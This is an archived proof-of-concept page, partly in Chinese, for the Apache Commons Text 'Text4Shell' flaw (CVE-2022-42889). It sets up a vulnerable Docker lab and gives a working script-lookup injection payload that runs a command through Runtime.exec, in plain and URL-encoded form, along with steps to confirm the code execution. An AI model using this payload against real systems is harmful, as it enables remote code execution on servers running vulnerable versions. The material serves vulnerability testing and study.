POC详情: 2346d20359545d39fc71fc01780c97def1b652c9

来源
关联漏洞
标题: Apache Commons Text 代码注入漏洞 (CVE-2022-42889)
描述:Apache Commons Text是美国阿帕奇(Apache)基金会的一个专注于字符串算法的库。 Apache Commons Text 1.5至1.9版本存在安全漏洞,该漏洞源于默认的Lookup实例集包括可能导致任意代码执行或与远程服务器联系的插值器,可能容易受到远程代码执行或与远程服务器的无意接触的影响。
介绍
### Install maven - [maven-linux](https://www.digitalocean.com/community/tutorials/install-maven-linux-ubuntu)
-------------


1. Maven install to create the fat jar

```
mvn clean install
```

2. Docker build

```
docker build --tag=text4shell .
```

3. Docker run

```
docker run -p 80:8080 text4shell
```

4. Test the app

```
http://localhost/text4shell/attack?search=<anything>
```

5. Attack can be performed by passing a string “${prefix:name}” where the prefix is the aforementioned lookup:

```
${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}
```

http://localhost/text4shell/attack?search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27touch%20%2Ftmp%2Ffoo%27%29%7D

6. You can also try using `dns` or `url` prefixes.

7. Get the container id

```
docker container ls
```

8. Get into the app

```
docker exec -it <container_id> bash
```

9. To check if above RCE was successful (You should see a file named `foo` created in the `/tmp` directory):

```
ls /tmp/
```

10. To stop the container

```
docker container stop <container_id>
```
文件快照

[4.0K] /data/pocs/2346d20359545d39fc71fc01780c97def1b652c9 ├── [ 481] Dockerfile ├── [1.6K] pom.xml ├── [1.1K] README.md └── [4.0K] src ├── [4.0K] main │   └── [4.0K] java │   └── [4.0K] com │   └── [4.0K] levo │   └── [4.0K] dockerexample │   ├── [4.0K] controller │   │   └── [1002] HelloController.java │   └── [ 297] DockerApp.java └── [4.0K] test └── [4.0K] java └── [4.0K] com └── [4.0K] levo └── [4.0K] dockerexample └── [ 70] PlaceHolderForTest.java 12 directories, 6 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。